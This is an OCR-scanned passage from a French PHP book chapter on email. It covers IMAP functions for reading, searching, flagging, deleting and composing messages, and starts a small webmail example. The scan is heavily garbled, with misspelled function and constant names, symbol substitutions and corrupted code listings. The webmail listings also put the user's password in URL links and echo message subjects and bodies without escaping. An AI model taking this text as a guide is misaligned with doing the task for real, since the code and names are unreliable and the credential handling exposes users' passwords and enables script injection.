ccaddress : ligne d'en-tete de 'cc:' limitee a 1024 caracteres. 
cc [ ] : tableau de toutes les adresses de 'cc : ' sous forme d'objet. 

■ cc [ ] ->personal : nom de la personne. 
cc [ ] ->adl: at domain source route (???). 
cc [ ] ->mailbox : partie precedant '@'. 
cc[]->host : partie suivant '@'. 

bccaddress : ligne d'en-tete de 'bcc:' limitee a 1024 caracteres. 
bcc [ ] : tableau de toutes les adresses de 'bcc : ' sous forme d'objet. 
bcc [ ] ->personai : nom de la personne. 
bcc [ ] ->adl : at domain source route (???). 
bcc [] ->maiibox : partie precedant '@'. 
bcc [ ] ->host : partie suivant '%'. 

repiy_toaddress : ligne d'en-tete de 'Reply_to:' limitee a 1024 caracteres. 
repiy_to [ ] : tableau de toutes les adresses de 'Repiy_to : ' sous forme d'objet. 
repiy_to [ ] ->personai : nom de la personne. 

■ reply^to [ ] ->adi : at domain source route (???). 
repiy_to [ ] ->mailbox : partie precedant '@'. 
repiy_to [ ] ->host: partie suivant '@'. 

senderaddress : ligne d'en-tete de 'sender:' limitee a 1024 caracteres. 
sender [ ] : tableau de toutes les adresses de 'sender : ' sous forme d'objet. 

■ sender [ ] ->personal : nom de la personne. 
sender [ ] ->adl : at domain source route (???). 
sender [] ->maiibox : partie precedant '©'. 
sender [] ->host : partie suivant '§'. 

return_path [ ] : tableau de toutes les adresses de 'Return-path:' sous forme d'objet. 
return_path [ ] ->personai : nom de la personne. 

■ return_path [ ] ->adi : at domain source route (???). 
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■ return_path [ ] ->mailbox : partie precedant '@'. 
return_path[ ] ->host : partie suivant '@'. 

Lecture des messages 

Certes, acceder a la liste des messages est une chose importante, mais acceder a leur contenu 
Test encore plus ! Vous disposez la aussi de nombreuses fonctions ; la premiere d'entre elles est 

imapjoody ( ) . 



imap_body() 

Retourne le corps d'un message. 

Syntaxe string imap_body (resource $identifiantBal , int $numeroMsg [, 

int $mode] ) ; 

$i denti f i antBal Identifiant tel que retourne par imap_open ( ) . 

$numeroMsg Numero du message a ouvrir (le premier porte l'indice 1). 

$mode Combinaison par OU logique des options : 

FTJJID si le numero du message est son UID. 

FT_PEEK afin de ne pas indiquer le message comme etant lu (s'il n'est pas 
deja marque). 

FTJNTERNAL afin que la chaine retournee soit dans le format 'interne'. 

retour Le corps du message. 

II faut toutefois garder a l'esprit qu'un message peut etre compose de plusieurs parties 
(generalement le corps du document que Ton peut recuperer avec imap_body ( ) , mais aussi des 
fichiers joints). 

Aussi, avant d'aller plus loin, vous devez connaitre la structure du message. Comme par 
miracle, il y a justement une fonction qui permet cela. 



imap_fetchStructure () 



Lit la structure d'un message. L'objet retourne contient l'enveloppe, la date, la taille, les 
drapeaux et la structure du corps, ainsi que ces informations pour les composantes MIME du 
message. 

Syntaxe object imap_fetchStructure(resource $identifiantBal , int 

$numeroMsg [, int $mode]) 

$i denti f i antBal Identifiant retourne par imap_open ( ) . 

$numeroMsg Indice du message a ouvrir (le premier porte l'indice 1). 
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$mode FT_UID (si le numero du message est son UID). 

retour Un objet contenant les attributs decrits ci-apres : 

type : le type de contenu qui peut prendre l'une des valeurs suivantes : 

— typetext s'il s'agit d'un texte non formate ; 

— typemultipart s'il s'agit d'un message avec plusieurs parties . 

— TYPEMESSAGE ; 

— TYPEAPPLICATION ; 

— typeaudio s'il s'agit d'un fichier audio ; 

— typeimage s'il s'agit d'un fichier image ; 

— typevideo s'il s'agit d'un fichier video ; 

— typeother s'il s'agit d'un type inconnu. 

encoding : le type d'encodage qui peut prendre l'une des valeurs encbase64, 
encquotedprintable, encother ; 

if subtype : true si un sous-type MIME est defini (attribut subtype) ; 

subtype : sous-type MIME ; 

ifdescription : true si une description est definie (attribut description) ; 

■ description : description du contenu ; 
if id : true si une chaine d'identification est definie (attribut id) ; 
id : chaine d'identification ; 

■ lines : nombre de lignes ; 

■ bytes : nombre d'octets ; 

■ ifdisposition : true si l'attribut disposition est defini ; 
disposition : chaine de disposition (ex. : inline, attachment) ; 

■ ifdparameters : TRUE si l'attribut dparameters est defini ; 

dparameters : un tableau d'objets ou chacun des objets possede les attributs attribute et 
value correspondant aux parametres de content-diposition de l'en-tete MIME ; 

if parameters : TRUE si l'attribut parameters est defini ; 

parameters : un tableau d'objets ou chacun des objets possede les attributs attribute et 
value ; 

parts : un tableau d'objets identique au niveau de la structure a l'objet superieur decrivant 
chacune des parties du message. 

Voici un script montrant quelques resultats : 
Listing 12.17 : imapjetchstructure.php 

<?php 

$bal = imap_open("{mail .monsite.com:143/imap}INB0X", 
"monlogin", "monpassword") ; 
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i 
?> 



$objet = imap_fetchstructure($bal , 1); 

echo "\$objet->type:" .$objet->type. "<br />\n"; 

echo "\$objet->encoding:".$objet->encoding."<br />\n"; 

echo "\$objet->ifsubtype: ".$objet->ifsubtype. "<br />\n"; 

echo "\$objet->subtype:" .$objet->subtype."<br />\n"; 

echo "\$objet->ifdescription: ". 

$objet->ifdescription."<br />\n"; 
echo "\$objet->ifid:".$objet->ifid."<br />\n"; 
echo "\$objet->lines:".$objet->lines."<br />\n"; 
echo "\$objet->bytes:".$objet->bytes."<br />\n"; 
echo "\$objet->ifdisposition: ".$objet->if disposition. 

"<br />\n"; 
echo "\$objet->i fdparameters : " . $objet->i fdparameters . 

"<br />\n"; 
echo "\$objet->i f parameters : " . $objet->i f parameters . "<br />\n" ; 
echo "\$objet->parameters [0] ->attribute: " . 

$objet->parameters [0] ->attri bute. "<br />\n" ; 
echo "\$objet->parameters[0]->value:" .":". 

$objet->parameters [0] ->val ue. "<br />\n" ; 
echo "\$objet->parameters [1] ->attribute: " . 

$objet->parameters[l]->attribute."<br />\n"; 
echo "\$objet->parameters[l]->value:" . 

$objet->parameters[l] ->val ue. "<br />\n" ; 
map_close($bal ) ; 



dont un resultat pourrait etre : 

$objet->type:0 

$objet->encodi ng : 1 

$objet->i f subtype : 1 

$objet->subtype: PLAIN 

$objet->if description:!) 

$objet->ifid:0 

$objet->lines:3 

$objet->bytes:23 

$objet->ifdisposition:0 

$objet->i fdparameters : 

$objet->i fparameters : 1 

$objet->parameters [0] ->attri bute : charset 

$objet->parameters [0] ->val ue: : us-asci i 

$ob jet->parameters [1] ->attr i bute : format 

$objet->parameters [1] ->val ue: f 1 owed 

S'il s'etait agi d'un message contenant plusieurs parties, alors nous aurions eu type=i (car 

TYPEMULTIPART=l). 

Si vous ne souhaitez extraire que la structure d'une partie du message, vous disposez de la 
fonction imap_bodyStruct ( ) . 
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imap_bodyStruct() 

Recupere la structure d'une partie du message. 

Syntaxe object imap_bodyStruct (resource $identifiantBal , int 

$numeroMsg, int $section) 

$i denti f i antBal Identifiant tel que retourne par imap_open ( ) . 

$numeroMsg Numero du message a ouvrir (le premier porte l'indice 1). 

$secti on Section du courrier a ouvrir (le corps du message porte l'indice 1). 

retour La structure de la partie du message demandee. 

Pour acceder a une partie quelconque d'un message, vous devez faire appel a 

imap_f etchBody ( ) . 
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imap_fetchBody() 



Retourne le contenu d'une des parties du message. 

Syntaxe string imap_fetchbody (resource $identifiantBal , int 

$numeroMsg, int $numeroPartie [, int $mode] ) 

$i denti f i antBal Identifiant retourne par imap_open ( ) . 

$numeroMsg Indice du message a ouvrir (le premier porte l'indice 1). 

$numeroParti e Indice de la partie a retourner (le corps du message porte l'indice 1). 

$mode Combinaison par OU logique des options : 

FTJJID si le numero du message est son UID. 

FT_PEEK aim de ne pas indiquer le message comme etant lu (s'il n'est pas 

deja marque). 

FTJNTERNAL afin de retourner le resultat dans le format "interne". 

retour La partie du message desiree. 

L'exemple suivant est en deux fichiers : le premier liste les messages dans la boites a lettres et 
propose des liens vers le second de la forme imap_4.php?no=<valeur>, afin d'afficher le 
contenu du message (le corps uniquement, les parties attachees etant ici ignorees). 

Listing 12.18 : imap3.php 

<html> 

<headxti tl e>Exempl e IMAP</ti tl ex/head> 

<body> 

<?php 

$mbox = imap_open("{mail .monsite:110/pop3}", "monlogin", "monpassword") ; 

echo "<pxhl>Entetes de mail dans INBOX</hl>\n"; 

$headers = imap_headers($mbox) ; 
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if (!$headers) { 

echo "Erreur !\n"; 
} else { 

while (list ($key,$val) = each ($headers)) { 

echo "<a href=\"imap4.php?no=" . ($key+l) . "\">". 
$val."</axbr>\n"; 



imap_close($mbox) ; 

?> 

</body> 

</html> 

Le script suivant ouvre done une connexion a un serveur POP3, puis extrait l'en-tete du mail a 
ouvrir afin de recuperer des informations sur l'expediteur et, enfin, ecrit le contenu du message. 

Listing 12.19 : imap4.php 

<html> 

<headxti tl e>Exempl e IMAP</ti tl ex/head> 

<body> 

<?php 

$mbox = imap_open("{mail .monsite.com:110/pop3}", "monlogin", "monpas sword") ; 

$header = imap_headerInfo($mbox, $no) ; 

$from = $header->from; 

echo "Message de:".$from[0]->personal . 

" [".$from[0] ->mailbox."@".$from[0]->host."]<br />"; 
$text = imap_fetchBody($mbox, $no, 1); 
echo $text; 
imap_close($mbox) ; 
?> 

</body> 
</html> 

dont le resultat attendu pourrait etre le suivant : 

<html> 

<headxti tl e>Exempl e IMAP</ti tl ex/head> 

<body> 

Message de: ToutEstFacile[webmaster@toutestfacile.com]<br />Ceci est un test. 

Cordial ement, 
Thomas. 
</body> 
</html> 
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Chapitre 12 La messagerie : envoi et lecture de mails 

Recherche et tri des messages 

imap_search() 

Cette fonction effectue une recherche sur les messages de la boite a lettres. 

Syntaxe array imap_search (resource $identifiantBal , string $criteres, 

int $option) 

$i denti f i antBal Identifiant tel que retourne par imap_open ( ) . 

$cri teres Criteres de recherche detailles ci-apres. 

$opt i on SE_UID pour retourner les identifiants plutot que le numero de sequence. 

retour Tableau indexe des numeros de sequences ou des identifiants des 

messages correspondant aux criteres de selection. 

Les criteres peuvent etre combines en les separant par des espaces (ce qui aura pour effet de 
rechercher les messages repondant au criterel ET au critere2, etc.). Chaque critere est 
compose d'un des mots-cles suivants, eventuellement suivi d'une valeur (qui devra etre entre 
guillemets) : 

all : fait une recherche dans tous les champs de tous les messages. 

Criteres lies aux drapeaux : 

answered : pour ne chercher que parmi les messages marques "repondus". 
unanswered : pour ne chercher que parmi les messages marques "non repondus". 
deleted i pour ne chercher que parmi les messages marques "effaces". 
undeleted : pour ne chercher que parmi les messages non marques "effaces". 
flagged : pour ne chercher que parmi les messages marques (importants). 
unflagged : pour ne chercher que parmi les messages non marques. 
new : pour ne chercher que parmi les nouveaux messages. 

■ old : pour ne chercher que parmi les anciens messages. 
recent : pour ne chercher que parmi les messages marques "recents". 
seen : pour ne chercher que parmi les messages marques "his". 
unseen : pour ne chercher que parmi les messages marques "non lus". 

Criteres lies aux adresses e-mail : 

bcc "adresse" : recherche dans le champ BCC. 

■ cc "adresse" : recherche dans le champ BCC. 

■ from "adresse" : recherche dans le champ FROM. 
to "adresse" : recherche dans le champ TO. 
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Criteres lies au texte du message : 

subject "texte" : recherche dans le champ SUBJECT. 
body "texte" : pour rechercher dans le corps des messages. 
text "texte" : pour rechercher les messages contenant ce texte. 
keyword "texte" : pour rechercher les messages ayant ce mot-cle. 
unkeyword "texte" : pour rechercher les messages n'ayant pas ce mot-cle. 

Criteres lies a la date : 

before "date" : pour rechercher parmi les messages anterieurs a une certaine date. 
since "date" : pour rechercher parmi les messages posterieurs a une certaine date. 
on "date" : pour rechercher parmi les messages emis a une certaine date. 
new : pour ne chercher que parmi les nouveaux messages. 

Ce qui pourra donner par exemple : 

imap_search($bal , "FROM \"toutestfacile.com\" SUBJECT \"Test\""); 

Pour retourner la liste des messages envoyes depuis une adresse contenant "toutestfacile.com" 
et ayant dans le mot "Test" dans le sujet. 



imap_sort() 

Permet de retourner une liste triee de messages. 

Syntaxe array imap_sort (resource $identifiantBal , int $cri teres, 

boolean $inverse, [ int $mode [, string $filtre]]) 

$i denti f i antBal Identifiant tel que retourne par imap_open ( ) . 

$cri teres Au choix, l'un des criteres suivants : 

SORTDATE : tri selon la date du message. 

SORTARRIVAL : tri selon la date de reception du message. 

SORTFROM : tri selon l'expediteur. 

SORTSUBJECT : tri selon le sujet. 

SORTTO : tri selon le premier destinataire. 

SORTCC : tri selon le champ CC. 

SORTSIZE : tri selon la taille du message. 

$i nverse TRUE pour obtenir l'ordre inverse. 

$mode Combinaison par OU logique des options : 

SE_UID pour retourner les UID plutot que les indices. 
SE_NOPREFETCH pour ne pas pre-telecharger les messages. 

$filtre Permet de ne recuperer que certains messages; ce filtre fonctionne 

comme les criteres de imap_search ( ) . 

retour Tableau indexe des identifiants de messages tries selon l'ordre choisi. 
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Modification des drapeaux et suppression des messages 

A chaque message sont associes des drapeaux indiquant s'il a ete lu, si une reponse a ete 
envoyee, s'il est sur le point d'etre efface, etc. 

La bibliotheque imap vous permet de modifier ces informations. 



imap_setFlag_M () 

Permet de marquer un ou plusieurs messages avec un drapeau specifique. 

Syntaxe boolean imap_setFlag_full (resource $identifiantBal , string 

$listeMsg, string $drapeau [, string $mode] ) 

$i denti f i antBal Identifiant tel que retourne par imap_open ( ) . 

$listeMsg Liste des numeros (ou UID) ou intervalles de numeros (ou UID) de 

messages separes par une virgule (le premier porte l'indice 1). Les 
intervalles sont definis par le numero de debut, le caractere : et le numero 
de fin. 

$drapeau Drapeau a retirer "\Seen", "\Answered", "\Flagged", "\Deleted", 

"\Draf t", "\Recent". (N'oubliez pas de doubler les anti-slashes si vous 
definissez la chaine entre guillemets). 

$mode FT_UID si le numero du message est son UID. 

retour TRUE en cas de succes. 

Exemple : 

imap setFlag full($bal, "1,3,5:8", "WSeen"); 



imap_clearFlag_M () 

Retire un drapeau d'un ou plusieurs messages. 

Syntaxe boolean imap_clearFlag_full (resource $identifiantBal , string 

$listeMsg, string $drapeau [, string $mode]) 

$i denti fi antBal Identifiant tel que retourne par imap_open ( ) . 

$listeMsg Liste des numeros (ou UID) ou intervalles de numeros (ou UID) de 

messages separes par une virgule (le premier porte l'indice 1). Les 
intervalles sont definis par le numero de debut, le caractere : et le numero 
de fin. 

$drapeau Drapeau a retirer "\Seen", "\Answered", "\Flagged", "\Deleted", 

"\ Draft", "\ Recent". (N'oubliez pas de doubler les anti-slashes si vous 
definissez la chaine entre guillemets). 
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$mode FT_UID si le numero du message est son UID. 

retour TRUE en cas de succes. 

Exemple : 

imap_clearFlag_full ($bal , "1,3,5:8", "WSeen"); 

Pour les messages a marquer comme etant a effacer, vous pouvez appeler directement les 
fonctions suivantes : 



imap_delete() 

Cette fonction permet de marquer un message comme etant a effacer. 

Syntaxe boolean imap_delete(resource $identifiantBal , int $numeroMsg 

[, int $drapeaux] ) 

$i denti f i antBal Identifiant tel que retourne par imap_open ( ) . 

$numeroMsg Numero du message a effacer (le premier porte l'indice 1). 

$drapeaux FT_UID (si le numero du message est son UID). 

retour TRUE en cas de succes. 

Voici un script qui permet d'effacer le message d'indice 1 : 

Listing 12.20 : imapdelete.php 

<?php 

$bal = imap_open("{mail .monsite.com:143/imap}INB0X", 

"monlogin", "monpassword", CL_EXPUNGE) ; 

echo imap_delete($bal , 1); 

imap_close($bal); 
?> 
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imap_undelete() 



Retire le drapeau indiquant que le message est a effacer. 

Syntaxe boolean imap_undelete(resource $identifiantBal , int 

$numeroMsg) 

$i denti f i antBal Identifiant tel que retourne par imap_open ( ) . 

$numeroMsg Numero du message dans la boite a lettres. 

retour TRUE en cas de succes. 
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La suppression du message ne sera effective qu'a la fermeture de la boite a lettres si celle-ci a 
ete ouverte ou fermee avec l'option CL_EXPUNGE. II est toutefois possible, a tout moment, de 
veritablement supprimer les messages marques comme etant a supprimer avec l'option 
imap_expunge () . 



imap_expunge() 

Efface tous les messages marques comme etant a effacer. 

Syntaxe boolean imap_expunge (resource $identifiantBal) 

$i denti f i antBal Identifiant tel que retourne par imap_open ( ) . 
retour TRUE en cas de succes. 

Ajout et deplacement de messages 



imap_append() 



Permet d'ajouter un message dans une boite a lettres. 

Syntaxe boolean imap_append(resource $identifiantBal , string $bal 

string $message [, string $drapeaux]) 

$i denti f i antBal Identifiant tel que retourne par imap_open ( ) . 

$bal Boite a lettres ou ecrire. 

$message Message a ecrire. 

$drapeaux Drapeaux ecrits dans la boite a lettres. 

retour TRUE si l'operation a pu s'effectuer, FALSE dans le cas contraire. 

Le script suivant ecrit un message dans les brouillons : 

Listing 12.21 : imapappend.php 

<?php 

$bal = imap_open("{mail .monsite.com:143/imap}INB0X", 
"monlogin", "monpassword") ; 



imap_append($bal , 



{mail .monsite. com: 143/imap} INBOX. Drafts", 
TO:imap@toutestfacile.com\r\n" . 
Subject:Cool\r\n". 
\r\n". 

Je t'ecris depuis un script PHP en IMAP ! Bisous,". 
Moi"); 



imap close($bal 



?> 
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imap_mail_copy() 

Copie certains messages dans une boite a lettres specifiee. 

Syntaxe boolean imap_mail_copy (resource $identifiantBal , string 

$listeMsg, string $bal[, int $mode]) 

$i denti f i antBal Identifiant retourne par imap_open ( ) . 

$listeMsg Liste des numeros (ou UID) ou intervalles de numeros (ou UID) de 

messages separes par une virgule (le premier porte l'indice 1). Les 
intervalles sont definis par le numero de debut, le caractere : et le numero 
de fin. 

$bal Boites a lettres de destination. 

$mode Combinaison par OU logique des options : 

CP_UID si la liste des messages contient des UID. 

CP_MOVE pour demander la suppression des messages de la boite 

d'origine. 

retour TRUE si l'operation s'est effectuee sans erreur. 



imap_mail_move () 
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Deplace certains messages dans une boite a lettres specifiee. (Marque le message de la boite 
d'origine comme etant a ef facer). 

Syntaxe boolean imap_mail_move(resource $identifiantBal , string 

$listeMsg, string $bal [, int $mode]) 

$i denti f i antBal Identifiant retourne par imap_open ( ) . 

SlisteMsg Liste des numeros (ou UID) ou intervalles de numeros (ou UID) de 

messages separes par une virgule (le premier porte l'indice 1). Les 
intervalles sont definis par le numero de debut, le caractere : et le numero 
de fin. 

$bal Boites a lettres de destination. 

$mode CP_UID si la liste des messages contient des UID. 

retour TRUE si l'operation s'est effectuee sans erreur. 

Inscription/desinscription a un serveur de nouvelles 



imap_subscribe() 

Permet de s'inscrire a une boite a lettres (pour les serveurs de "news"). 
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Syntaxe boolean imap_subscribe(resource $identifiantBal , string $bal) 

$i denti f i antBal Identifiant tel que retourne par imap_open ( ) . 

$bal Boite a lettres ou s'inscrire. 

retour TRUE si l'inscription s'est faite. 
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imap_unsubscribe () 

Permet de se desabonner d'une liste. 

Syntaxe boolean imap_unsubscribe(resource $identifiantBal , string 

$bal) 

$i denti fi antBal Identifiant tel que retourne par imap_open ( ) . 

$bal Boite a laquelle 1'utilisateur doit etre desinscrit. 

retour TRUE si l'operation s'est correctement deroulee. 



imap_msgno() 

Cette fonction retourne le numero de sequence de l'UID fourni. 
Syntaxe int imap_msgno(resource $identifiantBal , int $uid) 

$i denti f i antBal Identifiant tel que retourne par imap_open ( ) . 
retour L'indice du message. 



imap_uid() 

Retourne l'UID d'un message d'apres son indice dans la boite a lettres. 
Syntaxe int imap_uid (resource $identifiantBal , int $numeroMsg) 

$i denti f i antBal Identifiant tel que retourne par imap_open ( ) . 
$numeroMsg Indice du message dans la boite aux lettres. 

retour L'UID du message. 

Composition et decomposition d'adresses e-mail 

II est facile de construire une adresse e-mail contenant notamment le nom en toutes lettres du 
destinataire ou de l'expediteur tout en s'assurant de sa conformite avec la norme RFC822. 
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imap_rfc82 2_write_address () 

Retourne une adresse e-mail respectant la norme RFC822. 

Syntaxe : string imap_rfc822_write_address (string $login, string 

$domain, string $nom) 



$1 ogi n 




Partie precedant le @. 


$domain 




Partie suivant le @. 


$nom 




Nom ou texte associe a l'adresse 


retour 




Une adresse normee. 


Le script 


suivant : 





Listing 12.22 : imap_rfc822_write_address.php 

<?php 

echo imap_rfc822_write_address("Emma", "tuvu.com", "Eh ! M'as tu vu ?") 
?> 

retournerait : 

Eh ! M'as tu vu ? <Emma@tuvu.com> 

A l'inverse, il est possible de decomposer une liste d'adresses. 
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imap_rfc82 2_parse_adrlist () 



Cette fonction permet de recuperer les differentes parties d'une adresse e-mail respectant la 
norme RFC2822. 

Syntaxe array imap_rfc822_parse_adrl ist (string $adresse, string 

$hoteDefaut) 

$adresse Chaine de caracteres de l'adresse. 

$hoteDef aut Nom de l'hote par defaut. 

retour Un tableau d'objets ayant les attributs : 

personal : nom de la personne. 
Mailbox : partie precedant @. 
Host : partie suivant @. 
Adl : at domain source route. 

Listing 12.23 : imap_rfc822_parse_adrlist.php 

<?php 

$adresses= "Emma TUVU <emma@tuvu.com>, bible@php.com, Starsky"; 
$tableau = imap rfc822 parse adrl ist($adresses, "defaut. com") ; 
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while(list($cle,$valeur)=each($tableau)) { 

echo "personal: ".$valeur->personal ."<br />\n"; 
echo "mailbox : ".$valeur->mailbox."<br />\n"; 
echo "host : ".$valeur->host."<br />\n"; 
echo "adl : ".$valeur->adl . "<br />\n"; 
} 
?> 

Le resultat est : 

personal : Emma TUVU 
mailbox : emma 
host : tuvu.com 
adl : 
personal : 
mailbox : bible 
host : php.com 
adl : 
personal : 
mailbox : Starsky 
host : defaut.com 
adl : 



Generation et envoi de mails 

La bibliotheque imap permet egalement de generer et d'envoyer des e-mails. 

imap_mail() 

Cette fonction permet d'envoyer un courrier electronique. 

Syntaxe boolean imapjnail (string $destinataire, string $sujet, string 

$message [, string $entete [, string $cc [, string $bcc [, 
string $rpath]]]]) 

$desti natai re Adresse(s) du ou des destinataires. 

$sujet Sujet du message. 

$message Contenu du courrier electronique. 

$entete Pour ajouterun en-tete particulier. 

$cc Adresses des personnes en copie. 

$bcc Adresses des personnes en copie cachee. 

$rpath Adresse de retour des messages d'erreur. 

retour TRUE si l'operation s'est effectuee. 



Un script tres simple presentant cette fonction : 
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Listing 12.24 : imap mail. php 

<?php 

imapjnail ("destinataire@sonsite.com", "Test de mail", "Corps du message" 

?> 



imap_mail_compose () 



Permet de creer un message MIME en construisant l'enveloppe et le corps. 

Syntaxe string imapjnail_compose (array $enveloppe, array $corps) 

$enveloppe Tableau associatif avec les cles: from, to, cc, bcc, remail, 

return-path, date, reply-to, in_reply_to, subject, 
message_id, custom_headers. 

$corps Tableau de tableaux, chacun des sous-tableaux pouvant avoir les cles 

type, encoding, subtype, description, contents .data, id, 
charset, description, type, lines, bytes, md5. 

retour Message au format MIME. 

Coder /decoder 

imap_8bit() 

Convertit une chaine 8 bits en chaine imprimable selon la RFC2045, et coupe done les lignes de 
plus de 75 caracteres. 

Syntaxe string imap_8bit (string $chaine) 

$ c h a i n e Chaine de caracteres a transformer. 

retour Une chaine conforme a la specification RFC2045. 

©RFC 2045 en anglais 
Pour s'amuser et lire la langue concurrente de celle de Moliere, pour pourrez trouver 
INTERNET la RFC2045 a I'adresse : http://www.faqs.org/rfcs/rfc2045.html. 



imap_qprint() 

Convertit un caractere imprimable en chaine 8 bits. 
Syntaxe string imap_qprint(string $chaine) 

$ c h a i n e Chaine de caracteres a convertir. 

retour Chaine de caracteres convertie. 
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imap_base64() 

Decode un texte code en base64. 

Syntaxe string imap_base64(string $chaine) 

$ c h a i n e Chaine de caracteres a decoder, 

retour Chaine decodee. 

imap_binary() 

Convertit une chaine 8 bits en chaine base64. 

Syntaxe string imap_bi nary (string $chaine) 

$ c h a i n e Chaine de caracteres a convertir. 

retour Chaine convertie. 

imap_utf7_decode () 

Decode une chaine UTF-7 en chaine 8 bits. 

Syntaxe string imap_utf7_decode(string $chaine) 

$ c h a i n e Chaine de caracteres a decoder, 

retour Chaine decodee. 



imap_utf7_encode () 



Convertit une chaine 8 bits en chaine UTF-7. Cela sert pour encoder les noms de boites a 
lettres contenant des caracteres speciaux en dehors de la plage ASCII des caracteres 
imprimables. 

Syntaxe string imap_utf7_encode(string $chaine) 

$chaine Chaine a modifier, 

retour Chaine modifiee. 
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imap_utf8() 

Convertit une chaine de caracteres en UTF-8. 

Syntaxe string imap_utf8 (string $chaine) 

$ c h a i n e Chaine a modifier, 

retour Chaine modifiee. 



imap_mime_header_decode () 

Decode les parties de 1'en-tete MIME. 

Syntaxe array imap_mime_header_decode(string $entete) 

$entete En-tete code. 

retour Un tableau avec deux cles, charset et text, qui est l'en-tete decode. 



Gerer les erreurs 



imap_alert() 

Cette fonction permet de connaitre 1'ensemble des alertes IMAP apparues depuis le dernier 
acces ou depuis le dernier effacement de la pile d'alertes. Une fois l'appel a cette fonction 
effectue, la pile est videe. 

Syntaxe array imap_alerts(void) 

retour Tableau de tous les messages d'alerte. 
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imap_errors() 



Cette fonction permet de connaitre 1'ensemble des erreurs IMAP apparues depuis le dernier 
acces ou depuis le dernier effacement de la pile d'erreurs. Une fois l'appel a cette fonction 
effectue, la pile est videe. 

Syntaxe array imap_errors(void) 

retour Tableau de tous les messages d'erreur. 
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imap_last_error() 



Retourne la derniere erreur survenue (s'il y en a eu une) lors du dernier appel. 

Syntaxe string imap_last_error(void) 

retour Message d'erreur. 



Resultat surprenant 

Les quelques tests effectues n'ont pas v entablement permis d'obtenir un messaee 
REMARQUE ^^ 
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12.3. Application d'exemple : le webmail 

Progressivement, voici la construction d'une interface webmail minimaliste. 

La premiere des pages permettra d'entrer le nom du serveur IMAP ou POP, le login de 
1'utilisateur et le mot de passe associe. 



FicNer Edition Affichage Favoris On tils ? 

£5 Precedence ' (T @ [?] ''i J^ Recherchel ' ^f Favoris ^Jf Media -^ 

I £3 OK Li 



' flf 



Oucbrnele 



AdrsssE 

Type de serveur: 

Utiiisateur: 
Mot de passe: 



IMAP: mail.monsite.com:1^3 
©MAP 
OPOP 



Emma 



Figure 12.4 : Interface de connexion 
Done, le code source est le suivant : 

Listing 12.25 : webmail.html 

<html> 
<headxtitle>Mon ouebmele</titlex/head> 
<body> 
<center> 
<pxfont color="blue"xhl>Ouabmele</hlx/fontx/p> 
<form action="webmaill.php"> 
<table> 
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<tr> 
<td>Adresse serveur IMAP:</td> 
<tdxinput type="text" name="serveur" /></td> 
</tr> 
<tr> 
<td rowspan="2">Type de serveur:</td> 

<tdxinput type="radio" name="typeserveur" value="imap" />IMAP</td> 
</tr> 
<tr> 

<tdxinput type="radio" name="typeserveur" value="pop" />P0P</td> 
</tr> 
<tr> 

<td>Util isateur:</td> 

<tdxinput type="text" name="login" /x/td> 
</tr> 
<tr> 
<td>Mot de passe:</td> 

<tdxinput type="password" name="password" /x/td> 
</tr> 
<tr> 
<td colspan="2" al ign="center"> 

<input type="submit" value="Connexion" /> 
</td> 
</tr> 
</table> 
</form> 
</center> 
</body> 
</html> 
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Une fois connecte, 1'utilisateur est en mesure d'avoir un apercu des messages presents dans la 
boite a lettres : 

B8^—B— 



Fichier Edition Afh'chage Favoris Outils ? 

Q Precedente - Q ^1 ^ jD Rechercher <V Favoris ^Af* Media £j§ 



Adresse^http://bcalr,o5tf'Eib!ePHF*ripts/chapll/cll-webmaill.php 



vlB " 



Bienvenue sur ouebmele O.OOlBeta 

Date: Tut, 2 Jul 2002 16:31:32 -0400 (Est (toure d'ets)) 
3 messages (lout 1 lion his 

1100293Kooccupes 
Dnte Message lie 

18/06/2002 

17:49:46 

26/06/2002 Thomas HEUTE 

20:24:13 ^thomas.heutefS 1 ^ 

01/07/2002 Thomas HEUTE 

17:54:33 <thomas.heute@ > 



Thomas HEUIE ~t!>euleg 



Sujet 


Lu Reiionihi 


* 


Qui Non 


. ■ 


Oii Non 


■■ ■ 
■■ ■ 


NonNon 



Figure 12.5: Liste des messages 
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Listing 12.26 : webmaiH .php 

<html> 
<headxtitle>Mon ouebmele</titlex/head> 
<body> 
<center> 
<pxfont color="blue"> 

<hl>Bienvenue sur ouebmele 0.001Beta</hl> 
</fontx/p> 
<?php 

set_time_limit(90) ; 
// Connexion au serveur IMAP 

// Les donnees sont recuperees du formulaire par la methode POST 
$connexion = @imap_open("{".$_POST["serveur"] ."/". 
$_POST["typeserveur"] ."} INBOX", 
$_POST["login"] , $_POST["password"] ) or 
die("Impossible de se connecter :("); 
// Les informations de la boTte aux lettres INBOX 
// sont recuperees. 

$infosBal = imap_mailboxmsginfo($connexion) ; 
if($infosBal) { 
echo "Date: " .$infosBal ->Date. "<br>\n" ; 
echo "<b>".$infosBal->Nmsgs." messages dont ". 

$infosBal->Unread. " non lus</bxbr>\n"; 
echo $infosBal->Size ."Ko occupes<br>\n" ; 
} else { 

echo "Erreur: " .imap_last_error() . "<br>\n"; 
} 



?> 



<table> 
<tr> 
<tdxb>Date</bx/td> 
<tdxb>Message de</bx/td> 
<tdxb>Su j et</bx/td> 
<tdxb>Lu</bx/td> 
<tdxb>Repondu</bx/td> 
</tr> 
<?php 

for ($i=l; $iNmsgs+l; $i++) { 
// Pour chacun des messages, on recupere les informations liees 
$message = imap_headerinfo($connexion, $i); 
echo "<tr>\n"; 

// La date UNIX est transformed en date lisible 
echo "<td>". (date("d/m/Y H:i:s", $message->udate)) ."</td>\n" ; 
echo "<td>" . (html speci al chars ($message->f romaddress) ) . "</td>\n" ; 
echo "<tdxa href=\"webmail2.php?numero=$i" . 

"&serveur=" .$_POST["serveur"] . 
"&typeserveur=" .$_POST["typeserveur"] . 
"&login=".$_POST["login"]. 
"&password=".$_POST["password"] ."\">". 
($message->Subject) . 
"</td>\n"; 
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echo "<td>"; 

// Les messages LU sont marques. 

echo ($message->Unseen == 'U' || $message->Recent == 'N') ? 

"Non" : "Oui"; 
echo"</td>" 
echo "<td>" 

echo ($message->Answered == 'A') ? "Oui" : "Non"; 
echo"</td>"; 
} 

imap_close($connexion) ; 
?> 

</center> 
</body> 
</html> 

Puis l'utilisateur a la possibilite de cliquer sur un message pour voir le detail du message ainsi 
qu'une liste des fichiers attaches. 

Listing 12.27 : webmail2.php 

<html> 
<headxtitle>Mon ouebmele</titlex/head> 
<body> 
<h2xfont color="blue">Message</fontx/h2> 
<?php 

// Connexion a la boTte aux lettres. 
$connexion = @imap_open("{".$_GET["serveur"] ."/" . 
$_GET ["typeserveur"] . " } INBOX" , 
$_GET["login"], $_GET["password"]) 
or die("Impossible de se connecter :("); 
